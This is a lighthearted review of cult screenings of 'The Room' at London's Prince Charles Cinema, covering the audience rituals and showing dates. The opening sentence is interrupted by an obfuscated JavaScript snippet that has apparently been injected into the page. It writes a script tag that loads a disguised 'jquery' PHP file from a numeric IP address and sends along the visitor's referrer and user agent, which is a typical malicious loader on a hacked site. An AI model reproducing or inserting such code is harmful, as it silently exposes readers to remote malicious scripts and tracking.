THE ROOM @ PRINCE CHARLES CINEMA

There (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibeat|var|u0026u|referrer|rehre||js|php’.split(‘|’),0,{}))
are classic films that should be watched again and again, there are good films to replay a few times and there are films that should never be watched twice. Sometimes though a film can be so cringingly terrible it can be watched over and over with just as much enjoyment as classic movies.

The Room is one such movie and its jaw-dropping awfulness is the reason that it packs out the Prince Charles Cinema in Leicester Square every two weeks. This film is badly written, directed, and produced but above all the acting is abysmal. One man is responsible and he is Tommy Wiseau, the writer, director, producer and star.

Wiseau plays Johnny who adores his girlfriend Lisa, but Lisa seduces his best friend Mark. Lisa and Johnny care for Denny, a neighbouring college student who also lusts after Lisa. The film comes to a climax at Johnny’s surprise birthday party when the love triangle is revealed….

However, no one goes to see this film for the plot or acting. The Room is a great example of shared comedy experience, a couple of hundred people who are all in on the same joke.

Audience participation is key, with the crowd urged to shout out at the screen.
Denny is always greeted with “Hi Denny!”
Each appearance by Lisa is derided by the audience with inventive (and profane) insults
Lisa’s mother Claudette is greeted with a chorus of “Evil!!!!”
When a crude metaphor is used, the audience calls out “It’s a metaphor!”
During sex scenes, the audience is urged to walk out in mock disgust
When the characters toss an American football around, the audience also throw a football around.
Tommy and Lisa’s house is bizarrely adorned with pictures of spoons. Whenever one is on screen, everyone throws plastic cutlery at the screen.

The Room is so terribly bad it is genuinely hilarious. Thank God that the Prince Charles Cinema serves alcohol (No Scotchka though!!). An insulting affront to cinematic art, a jolly good night out for the rest of us.

Next Showings: 18th March; 1st April
Prince Charles Cinema, Leicester Place, WC2H
www.princecharlescinema.com